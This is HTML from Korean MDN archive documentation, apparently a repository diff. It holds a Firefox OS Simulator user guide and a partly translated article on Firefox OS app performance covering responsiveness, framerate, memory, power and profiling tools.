Dashboard는 오른쪽 상단의 Firefox 탭 안에서 돌아가고 있습니다. 여기에 "Where am I?"라는 이름의 패키지 애플리케이션 추가했습니다. 상좌단의 앱은 시뮬레이터를 돌리고 있습니다. 또한 아래쪽의 패널에서 보시다시피 디버깅 도구와 연결하고 있습니다. 콘솔 창에 앱에 대한 메시지가 표시되는 것을보실 수 있습니다.

+

+

이 가이드는 다음과 같은 주제를 다룹니다:

+ +
+ 실제 Web 응용 프로그램을 디버깅하는데  Simulator를 사용하는 방법을 보여주는 실질적인 자세한 설명은 Simulator Walkthrough 페이지를 참조하십시오.
+

시뮬레이터 설치하기

+

시뮬레이터 는 Firefox 부가 기능 에서 배포 하고 있습니다 . 설치 방법은 다음과 같습니다 :
+  

+
    +
  1. Firefox에서 addons.mozilla.org 에서 시뮬레이터 페이지 를 방문 하십시오.
  2. +
  3. "Firefox 에 추가" 를 클릭 하십시오.
  4. +
  5.  기능을 다운로드 한뒤 확인 메시지가 표시 되면 " 지금 설치 " 를 클릭 하십시오.
  6. +
+


+ 부가 기능의 크기가 큰 관계로 설치 중에 Firefox가 몇 초 동안 정지되거나 "경고 : 응답하지 않는 스크립트" 라는 제목의 대화 상자가 표시 될 수 있습니다. 대화 상자가 표시 되면 설치가 완료 될 때까지 기다리기 위하여 " 처리 를 계속 " 을 클릭 하십시오. 이 문제는 Firefox 27부터 발생하지 않습니다.
+
+ 시뮬레이터 부가 기능 의 설치 가 완료되면 Firefox는 정기적으로 새로운 버전을 확인 하여 최신 상태 를 유지 합니다.
+
+ 시뮬레이터를 설치 하면 대시보드가 자동으로 열리지 만 "Firefox" 메뉴 (OS X 및 Linux에서는 "도구" 메뉴 ) 의 "웹 개발 도구" 에서 " Firefox OS 시뮬레이터 " 를 선택하여 언제든지 대시보드를 열 수 있습니다 :

+


+ 아래 보여지는 대시보드는 애플리케이션 시뮬레이터에 추가하고 실행하는 데 사용하는 도구입니다:

+

앱을 추가하고, 제거하고, 새로고침하기

+

앱 추가하기

+

패키지 형 응용 프로그램을 시뮬레이터 에 추가 하려면 대시보드를 열고 " Add Directory " 를 클릭합니다. 그리고 앱의 매니페스트 파일을 선택 하십시오.
+
+ 호스트 형 응용 프로그램을 추가 하려면 " URL for page or manifest.webapp "라고 표시 되는 텍스트 상자에 URL 을 입력 하고 " Add URL " 을 클릭 하십시오. URL이 매니페스트를 가리키는 경우 해당 매니페스트가 사용 됩니다. 그렇지 않은 경우 는 Dashboard 가 해당 URL 위한 매니페스트를 생성 합니다 : 따라서, URL을 입력 하는 것만으로 모든 Web 사이트를 앱 으로 추가 할 수 있습니다 .
+
+ 앱 을 추가 하면 대시보드가 매니페스트 파일 에 대해 일련 의 테스트 를 수행하여 일반적인 문제를 확인 합니다. 어떤 테스트 를 실시할지 에 대한 자세한 내용 은 매니페스트 검증 섹션을 참조하십시오.
+
+ 매니페스트 유효성 검사 응용 프로그램 오류가 발견 되지 않으면 대시보드는 자동으로 시뮬레이터에서 응용 프로그램을 실행 합니다.

+

앱 관리하기

+

추가하면 매니저에서 설치된 응용 프로그램 목록에 표시됩니다 :
+
+ 항목은 앱에 대한 다음과 같은 정보를 보여줍니다:

+ +

또 다음과 같은 네개의 명령을 제공합니다.

+ +
+

시뮬레이터 창에서 애플리케이션 업데이트 : 애플리케이션 실행하는 경우 메뉴 에서 작업 또는 할당 된 바로 가기 키로 시뮬레이터 창에서 직접 응용 프로그램 업데이트 다시로드 할 수 있습니다.

+
+

매니페스트 검증

+

매니페스트를 제출하면 매니저는 매니페스트 여러개의 검증 테스트를 실행 합니다. 검증 테스트는 세 가지 범주 에 대해 문제를 보고합니다 :
+  

+ +

이것은 앱 의 항목에 발생한 문제의 간략적인 정보를 제공합니다 : 요약된 항목을 클릭 하면 세부 정보가 표시 됩니다.

+

매니페스트 에러

+

대시보드 는 다음과 같은 상황을 오류로 보고 합니다. 이 문제를 해결 하지 않으면 해당 응용 프로그램은 시뮬레이터에서 실행되지 않을 것입니다:

+ +

다음은 매니페스트 필수 필드 "name"이 없는 매니페스트를 추가하려고 할 때의 예시입니다.
+

+

매니페스트 경고

+

대시보드는 다음과 같은 매니페스트 이슈들의 대한 경고를 보고할 것입니다:

+ +

시뮬레이터 한정 경고들

+

마지막으로, 매니저는 앱이 사용하는 Firefox OS 기능중 시뮬레이터에서 완벽하게 지원되지 않는 기능들에 관해서 경고를 할 것입니다:

+ +

시뮬레이터 돌리기

+

시뮬레이터를 실행시키는 방법엔 다음과 같은 두가지 방법이 있습니다:

+ +

어떤 방법을 쓰던지와 상관 없이 시뮬레이터가 작동하기 시작되면, "Stopped"라고 써 있던 버튼이 초록색으로 된 "Running"라고 써 있는 버튼이 됩니다. 시뮬레이터를 정지하실려면 이 버튼을 한번 더 클릭해 주세요.
+  

+

시뮬레이터는 320x480 픽셀의 시뮬레이션된 화면과 하단에 툴바와 상단에 메뉴바를 가지는 분리된 새로운 창으로 나타납니다:

+

+

터치 이벤트를 시뮬레이션 하기 위해서는 마우스 버튼 클릭을 유지하면서 드래그 해 주세요. 홈스크린에서 오른쪽으로부터 왼쪽으로 클릭하시고 드래그 하시는걸 통해서 여러분은 여러분이 추가한 앱들과 내장된 앱들을 보실수 있습니다:

+

+

시뮬레이터 툴바

+

하단 툴바에는 왼쪽에서부터 오른쪽으로 홈 버튼, 스크린 회전 버튼, 그리고 Geolocation 버튼이 있습니다.

+ +

+

시뮬레이터 메뉴바

+

상단 메뉴바에서는 여러분은 개발을 더 효율적으로 만들수 있게 해주는 여러 명령들을 쓰실수 있습니다.

+

+ +

"App Refresh"를 실행하는 키보드 단축키는 앱을 웹 페이지처럼 반복적으로 개발하는걸 가능하게 합니다:

+ +
+

"앱을 새로 고침하고 데이터를 제거하기" 숨겨진 지름길: 가끔씩 시뮬레이터가 앱을 위해서 저장한 데이터를 초기화 시키는게 도움이 될 때도 있습니다, 그래서 시뮬레이터는 이와 관련된 숨겨진 단축키를 가지고 있습니다. Shift - Ctrl/Cmd - R를 이용하면 시뮬레이터는 다음과 같은 여러 데이터를 초기화한뒤 앱을 새로 고침할 것입니다:

+ +
+

개발자 도구들과 연결하기

+

여러분의 앱의 디버깅에 도움을 주기 위해 여러가지 개발자 도구들을 시뮬레이터 연결하실수 있습니다. 지금부로는 오직 JavaScript Debugger, Web Console, Style Editor, Profiler 그리고 Network Monitor만 연결할수 있지만, 저희는 더 많은 developer tools을 연결할수 있도록 노력중입니다.

+
+

이 중에 몇몇 툴은 파이어폭스의 베타, Aurora 혹은 Nightly builds 버전에서만 이용하실수 있습니다.

+
+

개발자 도구들을 시뮬레이터와 연결하실려면, "Connect" 버튼을 클릭해 주세요:

+

+

대시보드는 대시보드 하단에 개발자 도구 창을 열고 앱과 연결합니다:

+

+

웹 콘솔

+

앱은 console object(콘솔 객체)를 이용해 log를 남길수 있습니다. 웹 콘솔은 다음과 같은 앱이 작성한 메세지를 표시합니다: 네트워크 요구, CSS 그리고 J S 경고/오류, 보안 오류들. (Learn more about the Web Console.)

+

디버거

+

문제를 더 빨리 발견하고 해결하기 위해 디버거를 사용하면 여러분은 손쉽게 연결된 앱의 자바스크립트의 단계별 실행 , 분기점 관리, 식 보기 등을 할수가 있습니다. (Learn more about the Debugger.)

+

스타일 편집기

+

스타일 편집기를 연결하면 에서 참조하는 CSS 파일의 열람이나 편집이 가능합니다. 변경 한 부분은 업데이트 필요없이 실시간으로 반영됩니다. (Learn more about the Style Editor.)

+

프로파일러

+

에 연결된 프로파일러 도구를 사용하여 JavaScript 코드에서 시간이 너무 많이 소요하는 구간을 찾을수 있습니다. 프로파일러는 JavaScript 최근 호출 스택을 샘플하고 컴파일 상태를 주기적으로 샘플링합니다. (Learn more about the Profiler.)

+

네트워크 모니터

+

새로운 네트워크 모니터 덕분에, 앱이 시작한 모든 네트워크 요청 상태 헤더, 콘텐츠 타이밍 사용자 친화적인 인터페이스를 통해 분석 할 수 있습니다.(Learn more about the Network Monitor.)

+

영수증

+

만약에 여러분이 유료 앱을 개발중이시라면 여러분은 여러분의 앱의 유효한 (cryptographically signed) 영수증(valid receipt)을 가진 영수증 인증 코드 (receipt validation code, 코드는 유저가 이미 앱을 구매했거나 환불을 요구했음을 보여주고 유저에게 앱의 기능을 제한하거나 허락함을 알립니다)를 테스트 하셔야 합니다.

+

시뮬레이터의 대시보드의 항목에있는 "Receipts"메뉴를 이용해 각 앱을 "Valid, "Invalid", "Refunded" 테스트 영수증함께 설치할수 있습니다. 테스트하려는 영수증 종류 선택하면 대시보드가 Marketplace 영수증 서비스에서 종류 테스트 영수증을 가져오고 시뮬레이터에서 테스트 영수증과 함께 응용 프로그램을 다시 설치합니다 :

+

+

기기로의 전송

+

만약에 여러분이 별도의 Firefox OS 기기들이 있으시다면, 여러분을 그 기기들을 시뮬레이터에 연결할수 있고, 추가하신 앱들을 대시보드에서 기기들로 바로 전송할수 있습니다.

+

기기에 연결하기

+

기기를 연결하시려면 connecting a Firefox OS device to the desktop에 있는 가이드를 따르십시오.시뮬레이터가 ADB를 미리 포함하고 있기 때문에 따로 설치를 하실 필요가 없다는걸 염두해 두세요.

+

앱을 디바이스로 전송하기

+

일단 데스크탑과 기기를 준비하시고 기기를 데스크탑에 USB로 연결하셨다면, 대시보드에서 디바이스가 연결되었음을 알리는 "Device connected"가 뜨는걸 보실수 있습니다. 그리고 "Push"라고 되어 있는 새로운 명령 버튼이 나타납니다:

+

+

 "Push"버튼을 클릭하시면 선택하신 앱은 자동적으로 Firefox OS 기기에 전송되었을 것입니다.

+
+

수동적 방법:

+ +
+

Firefox OS 기기 연결 확인

+

어느 기기에서 재부팅 할때나 첫번째 "Push"(전송) 요구는 디바이스에서 확인되어야 합니다:

+

+

Linux에서 문제해결

+

udev rules를 생성하신뒤에 기기에 연결이 안 된다면 이 bug를 참조하세요.

+

시뮬레이터의 제약

+

Firefox OS 시뮬레이터가 완벽한 시뮬레이션을 제공하지 않음을 염두해 두세요.

+

하드웨어 제약

+

스크린 사이즈를 제외하고도, Firefox OS 시뮬레이터는 Firefox OS 기기들의 CPU 속도나 메모리같은 하드웨어 제약을 시뮬레이트하지 않습니다.

+

오디오/비디오 코덱

+

다음과 같은 코덱들은 하드웨어 가속에 의존하므로 아직 지원되지 않습니다:

+ +

이것은 위에 리스트 되어있는 코덱을 사용하는 앱이나 유튜브같은 웹사이트들은 작동하는것이 불가능하다는걸 의미합니다.

+

지원되지 않는 API들

+

데스크탑 하드웨어의 제약 때문에, 몇가지의 API들은 시뮬레이터에서 작동을 하지 않습니다. 저희는 geolocation과 같은 몇몇 API들을 위한 시뮬레이션을 넣었습니다. 하지만, 지금으로서는 다음 리스트에 있는 API들은 작동하지 않습니다. 다음과 같은 API를 사용하면 에러가 뜨거나 맞지 않은 결과를 가져다 줄 것입니다:

+ +

도움 받기

+

Firefox OS 시뮬레이터는 아직 개발 초기 단계입니다. 저희가 원하는만큼의 안정성과 완성도 없습니다.

+

버그를 발견하셨다면 GitHub에 보고 해주세요. 만약에 물어보실게 있으시다면 개발자 도구 메일링 리스트 irc.mozilla.org의 #devtools에서 질문해 주세요.

+

verbose logging을 활성화하는 방법

+

설정하기 위해 about:config를 사용해 주세요. extensions.r2d2b2g@mozilla.org.sdk.console.logLevel를 정수값 0으로 설정해 주세요, 그리고 부가 기능을 비활성화하고 재활성화를 해주세요. 시뮬레이터 구동에 관련한 추가적 메세지들은 에러 콘솔에서 나타날 것입니다(혹은 최신 버전의 Firefox의 브라우저 콘솔에서)

+

어떻게 시뮬레이터의 가장 최신 프리뷰 빌드를 받을수 있을까요?

+

이 문서의 한 섹션이 설명하는 대로, 여러분은 최신 Firefox OS 빌드 추가기능을 addons.mozilla.org에서 받을수 있습니다.

+

가끔 여러분은 아직 공식적으로 릴리즈 되지 않는 기능들을 사용할수도 있을텐데요. 그렇다면, 여러분들은 최신 프리뷰 빌드들을 다음과 같은 URL들에서 받으실수 있습니다.

+ +

프리뷰 빌드들은 릴리즈된 빌드들보다 덜 안정적이고 테스트 되어야 함을 염두해 두세요.

+ +
    +
  1. Toolbox +
      +
    1. Page Inspector
    2. +
    3. Web Console
    4. +
    5. Style Editor
    6. +
    7. Debugger
    8. +
    9. Profiler
    10. +
    11. Network Monitor
    12. +
    13. Shader Editor
    14. +
    +
  2. +
  3. Mobile +
      +
    1. Remote Debugging
    2. +
    3. Firefox OS 시뮬레이터
    4. +
    5. Responsive Design View
    6. +
    +
  4. +
  5. Standalone tools +
      +
    1. Scratchpad
    2. +
    3. Browser Console
    4. +
    5. Developer Toolbar
    6. +
    7. 3D View
    8. +
    9. Paint Flashing Tool
    10. +
    11. Browser Toolbox
    12. +
    +
  6. +
+

 

+

 

diff --git "a/files/ko/archive/b2g_os/\354\204\261\353\212\245/index.html" "b/files/ko/archive/b2g_os/\354\204\261\353\212\245/index.html" new file mode 100644 index 0000000000..dd7ccb98ee --- /dev/null +++ "b/files/ko/archive/b2g_os/\354\204\261\353\212\245/index.html" @@ -0,0 +1,146 @@ +--- +title: 성능 +slug: Archive/B2G_OS/성능 +translation_of: Web/Performance/Fundamentals +--- +

성능 광범위한 주제입니다. 문서는 Firefox OS 어떻게 설계 및 최적화되어 있는지의 관해 대략적인 개요 설명합니다. 그리고 개발자가 자신 코드 성능을 향상시키는 데 사용할 수있는 도구와 프로세스를 소개합니다.

+

성능이란 무엇인가요?

+

성능은 전적으로 사용자에 의해 인식됩니다. 사용자가 터치, 이동, 대화를 통해 시스템 입력 정보를 제공할때 대가로 사용자 시각적, 촉각 , 청각 적 피드백 방식에 의해 출력 정보를 받습니다. 성능은 입력에 대한 응답 출력 품질입니다.

+

유저 인식 성능(이 다음부터는 UPP라 부릅니다) 대신 다른 목적으로 최적화된 코드는 여러가지 타겟을 동등하게 최적화된 코드와 비교해서 떨어질수밖에 없습니다. 사용자는 프로세싱 성능이 떨어져도 응답성이 좋고 부드러운 응용 프로그램들을 선호합니다. 예를 들자면, 사용자들은 응답성이 좋으면서 부드럽지만 초당 1,000개의 데이터베이스 트렌젝션 처리를 하는 앱을 응답성이 좋지 않고 부드럽지 않지만 초당 100,000,000개의 데이터베이스 트렌젝션 처리를 하는 앱보다 선호할 것입니다.

+

당연히 데이터베이스 초당 트렌젝션 수같은 성능을 빠르게 처리하는게 의미가 없다는게 아닙니다; 그런건 당연히 의미가 있죠. 저희가 말하려는건 이런 것에 주를 두지 말고, UPP를 개선하는데 주를 둬야 한다는 것입니다.

+

성능에 관한 주요 지표 여러 가지가 있습니다. 첫번째로 "응답성 (responsiveness)"입니다. 응답성은 단순히 사용자 입력에 대한 시스템 출력(복수가 될 수도 있습니다)의 반환 속도입니다. 예를 들어 사용자가 스크린 누를 사용자들은 픽셀에 어떤 변화가 일어난다고 생각합니다. 이 경우에는 ""제스처에서 픽셀 변경 될 때까지 걸린 시간이 응답성의 지표가 됩니다.

+

응답성은 자주 여러 단계의 피드백을  필요로합니다. 응용 프로그램 시작 특히 중요한 사례 중 하나이며, 이에 대해서는 나중에 자세히 설명합니다.

+

응답성은 간단히 아무도 무시되는걸 원하지 않는다는 단순한 이유 때문에 중요합니다. 사용자가 입력을 한 후에 시스템이 반응하기까지의 시간은 유저가 무시되는 시간입니다. 무시되는 것은 짜증과 화를 유발합니다.

+

다음으로 중요한 지표 "프레임 레이트"입니다. 프레임 레이트란 시스템 사용자에게 표시하는 픽셀 변경하는 속도입니다. 이것은 흔한 컨셉이고 모두가 좋아합니다. 예를 들어 모든 사람은  초당 60 프레임 레이트를 보여주는 게임은 이유를 설명 할 수 없어도 초당 10 프레임 레이트를 보여주는 게임보다 더 선호할 것입니다.

+

프레임 레이트는 "서비스의 질"의 지표로서 중요합니다. 컴퓨터의 디스플레이는 전자를 움직여서 현실을 모사하여 사용자들의 눈을 속이도록 디자인되어 있습니다. 예를 들자면, 문서 리더 디스플레이는 실제 종이의 선명한 텍스트 반사되는 빛 같은 패턴으로 사용자 망막 닿는 빛을 생성하도록 설계된 디스플레이 픽셀 만들어 텍스트 표시합니다.

+

현실에서는 동작은 "연속적입니다" (저희 두뇌가 알려주는 바에 따르면요); it's not jerky and discrete, but rather "updates" smoothly. (Strobe lights are fun because they turn that upside down, starving our brains of inputs to create the illusion of discrete reality.) On a computer display, a higher framerate simply allows the display to imitate reality more faithfully.

+

(흥미로운 점은 인간은 보통 60Hz 이상의 프레임 레이트를 구분하지 못한다는 것입니다. 그렇기 때문에 대부분의 현대의 전자식 디스플레이들은 60Hz로 디자인 되어 있습니다. 예를 들자면 TV 스크린은 벌새에게는 비자연스럽고 끊기는 것처럼 보일 것입니다.)

+

Memory usage is another key metric. Unlike responsiveness and framerate, users don't directly perceive memory usage. However, memory usage is a close approximation to "user state". An ideal system would maintain 100% of user state at all times: all applications in the system would run simultaneously, and all applications would retain the state created by the user the last time the user interacted with the application. (Application state is stored in computer memory, which is why the approximation is close.)

+

An important corollary of this is contrary to popular belief: a well-designed system should not be optimized to maximize the amount of free memory. Memory is a resource, and free memory is a unused resource. Rather, a well-designed system should be optimized to use as much memory as possible in service of maintaining user state, while meeting other UPP goals.

+

Optimizing a system to use memory doesn't mean it should waste memory. Using more memory than is required to maintain some particular user state is wasting a resource that could be used to retain some other user state.

+

In reality, no system can maintain all user state. Intelligently allocating memory to user state is an important concern that's discussed in more detail below.

+

The final metric discussed here is power usage. Like memory usage, users don't directly perceive power usage. Users perceive power usage indirectly by their devices being able to maintain all other UPP goals for a longer duration. In service of meeting UPP goals, the system must use only the minimum amount of power required.

+

The remainder of this document will discuss performance in terms of these metrics.

+

폴랫폼 성능

+

이 부분은 Firefox OS가 응용 프로그램 아래서 보통 어떻게 성능을 향상시키기 위해 공헌하는지에 대한 간략적 요약입니다. 앱 개발자나 유저의 입장에서 "이 폴랫폼이 저를 위해서 뭘 해줄수 있나요?" 라는 질문에 대한 대답입니다.

+

This section assumes the reader is familiar with the basic conceptual design of Firefox OS.

+

Firefox OS is optimized for applications built with web technologies, HTML/CSS/JavaScript and so on. Except for a handful of basic system services, all the code that runs in Firefox OS is web applications and the Gecko engine. Even the operating system window manager is written in HTML/CSS/JS.

+

Because the core operating system is built with the same web technologies that applications are built with, the performance of those technologies is critical. There's no "escape hatch". This greatly benefits developers because all the optimizations that enable a performant OS window manager, for example, are available to third-party applications as well. There's no "magic performance sauce" available only to preinstalled code.

+

The web platform provides many tools, some better suited for particular jobs than others. All application logic is written in JavaScript. For displaying graphics, developers can choose between the high-level declarative languages of HTML/CSS, or use low-level imperative interfaces offered by the canvas element.

+

HTML과 CSS는 생산성을 크게 증가시킵니다, pixel-level control over rendering or a few frames per second. Text and images are reflowed automatically, the system theme is applied to UI elements by default, and "built-in" support is provided for some use cases developers may not think about initially, like different-resolution displays or right-to-left languages.

+

The canvas element offers a pixel buffer directly to developers to draw on. This gives pixel-level control over rendering and precise control of framerate to developers. But it comes at the expense of extra work needed to deal with multiple resolutions and orientations, right-to-left languages, and so forth. Developers draw to canvases using either a familiar 2D drawing API, or WebGL, a "close to the metal" binding that mostly follows OpenGL ES 2.0.

+

(Somewhere "in between" HTML/CSS and canvas is SVG, which is beyond the scope of this document.)

+

The Gecko JavaScript engine supports just-in-time (JIT) compilation. This enables application logic to perform comparably to other virtual machines, such as Java virtual machines, and in some cases close to "native code".

+

The graphics pipeline in Gecko underlying HTML/CSS and canvas is optimized in several ways. The HTML/CSS layout and graphics code in Gecko minimizes invalidation and repainting for common cases likes scrolling; developers get this support "for free". Pixel buffers painted by both Gecko "automatically" and applications to canvas "manually" minimize copies when being drawn to the display framebuffer. This is done by avoiding intermediate surfaces where they would create overhead (such as per-application "back buffers" in many other operating systems), and by using special memory for graphics buffers that can be directly accessed by the compositor hardware. Complex scenes are rendered using the device's GPU for maximum performance. To improve power usage, simple scenes are rendered using special dedicated composition hardware, while the GPU idles or turns off.

+

Fully static content is the exception rather than the rule for rich applications. Rich applications use dynamic content with animations, transitions, and other effects. Transitions and animations are particularly important to applications. Developers can use CSS to declare even complicated transitions and animations with a simple, high-level syntax. In turn, Gecko's graphics pipeline is highly optimized to render common animations efficiently. Common-case animations are "offloaded" to the system compositor, which can render them both performantly and power efficiently.

+

The runtime performance of applications is important, but just as important is their startup performance. Firefox OS improves startup experience in several ways.

+

Gecko is optimized to load a wide variety of content efficiently: the entire Web! Many years of improvements targeting this content, like parallel HTML parsing, intelligent scheduling of reflows and image decoding, clever layout algorithms, etc, translate just as well to improving web applications on Firefox OS. The content is written using the same technologies.

+

Each web application has its own instance of the Gecko rendering engine. Starting up this large, complicated engine is not free, and because of that, Firefox OS keeps around a preallocated copy of the engine in memory. When an app starts up, it takes over this preallocated copy and can immediately begin loading its application resources.

+

Applications "start" most quickly when they're already running. To this end, Firefox OS tries to keep as many applications running in the background as possible, while not regressing the user experience in foreground applications. This is implemented by intelligently prioritizing applications, and discarding background applications according to their priorities when memory is low. For example, it's more disruptive to a user if their currently-playing music player is discarded in the background, while their background calculator application keeps running. So, the music player is prioritized above the calculator automatically by Firefox OS and the calculator is discarded first when memory is low.

+

Firefox OS prevents applications that are running in the background from impacting the user experience of foreground applications through two mechanisms. First, timers created by background apps are "throttled" to run at a low frequency. Second, background applications are given a low CPU priority, so that foreground applications can get CPU time when they need it.

+

In addition to the above, Firefox OS includes several features designed to improve power usage that are common to mobile operating systems. The Firefox OS kernel will eagerly suspend the device for minimal power usage when the device is idle. Relatedly, ICs like the GPU, cellular radio, and Wifi radio are powered down when not being actively used. Firefox OS also takes advantage of hardware support for media decoding.

+

응용 프로그램 성능

+

This section is intended for developers asking the question: "how can I make my app fast"?

+

시작 시간 성능

+

Application startup is punctuated by three user-perceived events, generally speaking. The first is the application "first paint": the point at which sufficient application resources have been loaded to paint an initial frame. Second is when the application becomes interactive; for example, users are able to tap a button and the application responds. The final event is "full load", for example when all the user's albums have been listed in a music player.

+

The key to fast startup is to keep two things in mind: UPP is all that matters, and there's a "critical path" to each user-perceived event above. The critical path is exactly and only the code that must run to produce the event.

+

For example, to paint an application's first frame that comprises visually some HTML and CSS to style that HTML, (i) the HTML must be parsed; (ii) the DOM for that HTML must be constructed; (iii) resources like images in that part of the DOM have to be loaded and decoded; (iv) the CSS styles must be applied to that DOM; (v) the styled document has to be reflowed. Nowhere in that list is "load the JS file needed for an uncommon menu"; "fetch and decode the image for the High Scores list"; etc. Those work items are not on the critical path to painting the first frame.

+

It seems obvious, but to reach a user-perceived startup event more quickly, the main "trick" is to just not run code that's off the critical path. Alternatively, shorten the critical path by simplifying the scene.

+

The web platform is highly dynamic. JavaScript is a dynamically-typed language, and the web platform allows loading code, HTML, CSS, images, and other resources dynamically. These features can be used to defer work at startup that's off the critical path, by loading the unnecessary content "lazily" some time after startup.

+

Another problem that can delay startup is idle time, caused by waiting on responses to requests like database loads. To avoid this problem, applications can "front load" the work by issuing requests as early as possible in startup. Then when the data is needed later, it's hopefully already been fetched and the application doesn't need to wait.

+

Relatedly, it's important to separate network requests for dynamic data from static content that can be cached locally. Locally-cached resources can be loaded much more quickly than they can be fetched over high-latency and lower-bandwidth mobile networks. Network requests should never be on the critical path to early application startup. Caching resources locally is also the only way applications can be used when "offline". Firefox OS allows applications to cache resources by either being "packaged" in a compressed ZIP file or "hosted" through HTML5 appcache. How to choose between these options for a particular type of application is beyond the scope of this document, but in general application packages provide optimal load performance; appcache is slower.

+

A few other hints are listed below:

+ +

프레임레이트

+

The first important consideration for achieving high framerate is to select the right tool for the job. Mostly static content that's scrolled and infrequently animated is usually best implemented with HTML/CSS. Highly dynamic content like games that need tight control over rendering, and don't need theming, is often best implemented with canvas.

+

For content drawn using canvas, it's up to the developer to hit framerate targets: they have direct control over what's drawn.

+

For HTML/CSS content, the path to high framerate is to use the right primitives. Firefox OS is highly optimized to scroll arbitrary content; this is usually not a concern. But often trading some generality and quality for speed, such as using a static rendering instead of a CSS radial gradient, can push scrolling framerate over a target. CSS media queries allow these compromises to be restricted only to devices that need them.

+

Many applications use transitions or animations through "pages", or "panels". For example, the user taps a "Settings" button to transition into an application configuration screen, or a settings menu "pops up". Firefox OS is highly optimized to transition and animate scenes that

+ +

Transitions and animations that adhere to these guidelines can be offloaded to the system compositor and run maximally efficiently.

+

To help diagnose low framerates, see the section below.

+

메모리와 전원 사용량

+

Improving memory and power usage is a similar problem to speeding up startup: don't do unnecessary work; use efficient data structures; lazily load uncommonly-used UI resources; ensure resources like images are optimized well.

+

Modern CPUs can enter a lower-power mode when mostly idle. Applications that constantly fire timers or keep unnecessary animations running prevent CPUs from entering low-power mode. Power-efficient applications don't do that.

+

When applications are sent to the background, a visibilitychange event is fired on their documents. This event is a developer's friend; applications should listen for it. As mentioned above, Firefox OS tries to keep as many applications running simultaneously as it can, but does have to discard applications sometimes. Applications that drop as many loaded resources as possible when sent to the background will use less memory and be less likely to be discarded. This in turn means they will "start up" faster (by virtue of already being running) and have better UPP.

+

Similarly, applications should prepare for the case when they + + are + discarded. To improve user-perceived memory usage, that is to say, making the user feel that more of their state is being preserved, applications should save the state needed to return the current view if discarded. If the user is editing an entry, for example, the state of the edit should be saved when entering the background.

+

성능을 측정하고 문제를 분석하기

+

성능을 측정하고 문제를 분석하기 전에, 이걸 기억하세요:

+
+
+  
+
+ 절대. 기기. 위에서. 테스트. 하세요.
+
+  
+
+

A great strength of the web platform is that the same code written for "desktop" web browsers runs on Firefox OS on mobile devices. Developers should use this to improve productivity: develop on "desktops", in comfortable and productive environments, as much as possible.

+

But when it comes time to test performance, mobile devices must be used. Modern desktops can be more than 100x more powerful than mobile hardware. The lower-end the mobile hardware tested on, the better.

+

With that caveat, the sections below describe tools and processes for measuring and diagnosing performance issues.

+

성능을 측정하기

+

Firefox OS comes built-in with some convenient and easy-to-use tools that, when used properly, can be used to quickly measure performance. The first tool is the "framerate monitor". This can be enabled in the Firefox OS Settings application.

+

The framerate monitor continuously reports two numbers. The values reported are an average of recent results within a sliding window, meant to be "instantaneous" but fairly accurate. As such, both numbers are "guesses". The left number is the "composition rate": the estimated number of times per second Firefox OS is drawing frames to the hardware framebuffer. This is an estimate of the user-perceived framerate, and only an estimate. For example, the counter may report 60 compositions per second even if the screen is not changing. In that case the user-perceived framerate would be 0. However, when used with this caveat in mind and corroborated with other measurements, the monitor can be a useful and simple tool.

+

Screenshot of fps counter

+

The rightmost number is the "layer transaction rate", the estimated number of times per second processes are repainting and notifying the compositor. This number is mostly useful for Gecko platform engineers, but it should be less than or equal to the composition rate number on the left.

+

Firefox OS also has a tool that can help measure startup time, specifically the "first paint" time described above. This "time-to-load" tool can be enabled using the Settings application. The value shown by the tool is the elapsed time between when the most recent application was launched, and an estimate of the first time that application painted its UI. This number only approximates the real "first paint" time, and in particular underestimates it. However, lowering this number almost always correlates to improvements in real startup time, so it can be useful to quickly measure optimization ideas.

+

Screenshot of enabling ttl

+

For accurately measuring both startup times and responsiveness, a high-speed camera is indispensable. "High-speed" means that the camera can record 120 frames per second or above. The higher the capture rate, the more accurate the measurements that can be made. This may sound like exotic technology, but consumer models can be purchased for a few hundred US dollars.

+

Link to example video of high-speed capture that I can't upload

+

The measuring process with these cameras is simple: record the action to be studied, and then play back the capture and count the number of frames that elapse between the input (say, a tap gesture) and the desired output (pixels changing in some way). Divide the number of counted frames by the capture rate, and the resulting number is the measured duration.

+

Mozilla built an automated tool called Eideticker which operates on the same principle as described above. The difference is that Eideticker uses synthetic user input events and HDMI capture to measure durations. The code is available and can be used with any device with an HDMI output.

+

Measuring power can be more difficult. It's possible to jury-rig measurement apparatus with a soldering iron, but a good approximation of power usage can be gathered by observing CPU load. Simple command-line tools like |top| allow monitoring CPU usage continuously.

+

In general, when measuring performance, don't be proud! "Primitive technology" like a stopwatch or logging, when used effectively, can provide eminently usable data.

+

성능 문제를 분석하기

+

If performance measurements show an application is below its targets, how can the underlying problem be diagnosed?

+

The first step of any performance work is to create a reproducible workload and reproducible measurement steps. Then gather baseline measurements, before any code changes are made. It seems obvious, but this is required to determine whether code changes actually improve performance! The measurement process selected isn't too important; what's important is that the process be (i) reproducible; (ii) realistic, in that it measures what users will perceive as closely as possible; (iii) precise as possible; (iv) accurate as possible. Even stopwatch timings can fit this spec.

+

Firefox OS includes two built-in tools for quickly diagnosing some performance issues. The first is a render mode called "paint flashing". In this mode, every time a region of the screen is painted by Gecko, Gecko blits a random translucent color over the painted region. Ideally, only parts of the screen that visually change between frames will "flash" with a new color. But sometimes more area than is needed is repainted, causing large areas to "flash". This symptom may indicate that application code is forcing too much of its scene to update. It may also indicate bugs in Gecko itself.

+

Enable paint flashing

+

Paint flashing after scrolling down from previous image

+

The second tool is called "animation logging", and can also be enabled in Settings. This tool tries to help developers understand why animations are not offloaded to the compositor to be run efficiently as possible. It reports "bugs" like trying to animate elements that are too large, or trying to animate CSS properties that can't be offloaded.

+

Enable animation logging

+

Start of animation not offloaded

+
I/Gecko   ( 5644): Performance warning: Async animation disabled because frame size (1280, 410) is bigger than the viewport (360, 518) [div with id 'views']
+
+

End of animation not offloaded

+
+

A common pitfall is to animate left/top/right/bottom properties instead of using CSS transforms to achieve the same effect. For a variety of reasons, the semantics of transforms make them easier to offload, but left/top/right/bottom are much more difficult. Animation logging will report this.

+
+

These tools can help quickly assess a performance problem, but they often show only what developers should be "looking for": hints at deeper problems. When more information is required, the Gecko Profiler can be used. A full description of the profiler is beyond the scope of this document; see [here]. Briefly, the profiler shows mixed JavaScript/C++ "samples" of what all Firefox OS processes are doing over a rolling time interval. Developers can use these profiles to see what their code and Gecko itself are doing. Warnings are built into the profiler UI for many common pitfalls like excessive garbage collection (caused by creating too many JS objects), and forcing "synchronous reflows". Sync reflows are bad because Gecko is optimized to do expensive work like reflows in big batches, when needed. Forced reflows throw off this "schedule", and can cause more work to be done than necessary.

+

